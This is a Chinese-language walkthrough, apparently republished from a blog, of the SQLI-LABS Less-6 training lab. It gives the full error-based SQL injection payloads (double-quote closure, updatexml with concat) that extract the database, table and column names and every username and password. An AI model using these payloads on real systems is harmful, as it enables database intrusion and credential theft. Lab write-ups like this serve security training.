SQLI-LABS(Less-6)

Less-6(GET-Double injection-Double Quotes-String)

打开 Less-6页面,可以看到页面中间有一句 Please input the ID as parameter with numeric value,那么先使用 ID这个参数通过 GET方式传入一个数值。

SQLI-LABS(Less-6)

确定注入点

注入语句: ?id=1

SQLI-LABS(Less-6)

从上图可以看出传入 id=1并没有回显查询结果,接着试一下 ?id=1',并没有任何异常,那么尝试一下 ?id=1",发现在 引号附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是 双引号。这时可以考虑使用 报错注入有关报错注入)。

SQLI-LABS(Less-6)

使用注入语句: ?id=1" --+看看是否能够正常闭合并注释,从下图看出是没有问题的。

SQLI-LABS(Less-6)

确定当前数据库名

注入语句: ?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+。其中, concat函数用于连接两个字符串,形成一个字符串, concat('a','b')='ab',这样当爆出多个信息时,可以通过 ~进行分割。

SQLI-LABS(Less-6)
从报错信息中可以看出,当前数据库为 security

确定数据库中的数据表

注入语句: ?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+

SQLI-LABS(Less-6)

确定users表中的列名

注入语句: ?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+

SQLI-LABS(Less-6)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: ?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+

SQLI-LABS(Less-6)
从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用 substring()函数每隔32位截取一次,最终拼凑出全部内容。

至此,就得到了当前表中所有的用户名和密码。

Original: https://www.cnblogs.com/Timesi/p/16661415.html
Author: 顾北清
Title: SQLI-LABS(Less-6)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578211/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • sql server 增删改(查太多了)

    delete(删除) 使用 delete语句删除表中数据。 delete from 表名 [where where_definition] 如果不使用where子句,将删除表中所有…

    Linux 2023年6月7日
    074
  • 解决关闭shell会话窗口则会发现ASP.NET Core应用也会被关闭问题

    统计了三种方法: 一、使用nohup命令即可 【最简单】 nohup dotnet xxxx.dll 【xxxx为应用名称】 一般会报:nohup: ignoring input …

    Linux 2023年6月8日
    0110
  • AIX下安装bash

    在AIX系统下,默认是没有安装bash环境的,对于经常操作的维护人员来说,非常不方便,所以下面我们来动手安装bash。 1、确认系统是否已安装bash 方法1:之间敲bash命令,…

    Linux 2023年6月14日
    066
  • DHCP超级作用域

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    079
  • shell脚本

    一、shell脚本基本介绍 格式要求 脚本要以 #!/bin/bash 开头,debain需要改成#!/bin/dash 脚本需要有可执行权限 shell常用执行方式 输入脚本的绝…

    Linux 2023年6月6日
    083
  • 国产化之银河麒麟安装达梦数据库DM8

    背景 某个项目需要实现基础软件全部国产化,其中操作系统指定银河麒麟,数据库使用DM8。 虽然在之前的文章中已经成功模拟国产飞腾处理器,但是运行效率不高,所以这里的银河麒麟操作系统还…

    Linux 2023年5月27日
    093
  • Mybatis源码解读-SpringBoot中配置加载和Mapper的生成

    本文 mybatis-spring-boot探讨在springboot工程中mybatis相关对象的注册与加载。 建议先了解mybatis在spring中的使用和springboo…

    Linux 2023年6月7日
    098
  • Chrome的强大搜索功能

    前言 前几天一个好朋友求助我,大概问题是他的电脑QQ啥都能上网,就浏览器上不了网不是IE而是chrome,我第一反应可能是dns问题。后来发甩过来一张图,好家伙把我吓得,类似于下面…

    Linux 2023年6月14日
    085
  • windows环境 php 连接 sql server

    下载扩展: ODBC Driver: 安装配置: 下载SQL Server的PHP扩展(Microsoft Drivers for PHP for SQL Server),连接里有…

    Linux 2023年6月7日
    090
  • Linux 网络分析必备技能:tcpdump 实战详解

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    079
  • 微服务与领域驱动设计,架构实践总结

    怎样的架构才能配得上造到飞起的变化? 一、软件复杂性 1、复杂原因 如果软件系统存在持续的迭代周期,那么其中业务、技术、架构的复杂性都会直线拉升,其相应的开发难度也会提高,可以用一…

    Linux 2023年6月14日
    054
  • docker安装详细过程

    ubuntu安装docker 我这里用mobaxterm远程连接安装的,如何远程连接在上一篇文章 1、解压tar -zxvf docker-19.03.5.tgz 拷贝文件至bin…

    Linux 2023年6月7日
    0102
  • shell生成指定长度的随机数

    生成指定长度是随机数 8位纯数字的随机数 tr -cd ‘0-9’ 使用/dev/urandom而不是/dev/random是因为后者比较慢。 Original: https://…

    Linux 2023年5月28日
    096
  • Linux命令(实时更新)

    本博客主要总结一下博主工作中比较常用的命令: 1.iconv命令 对于给定文件把它的内容从一种编码转换成另一种编码。 -f encoding : 把字符从encoding编码开始转…

    Linux 2023年6月6日
    073
  • Ubuntu下安装多个JDK,并设置其中一个为默认JDK

    由于使用需要,要在机器上同时安装OpenJDK 8和11,并将8设置为默认JDK 首先安装OpenJDK sudo apt-get install openjdk-8-jdk su…

    Linux 2023年6月6日
    097
  • 无法获取指向控制台的文件描述符 (couldn’t get a file descriptor referring to the console)

    背景 最近收拾东西,从一堆杂物里翻出来尘封四年多的树莓派 3B 主机来,打扫打扫灰尘,接上电源,居然还能通过之前设置好的 VNC 连上。欣慰之余,开始 clone 我的 git 项…

    Linux 2023年5月27日
    0133
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球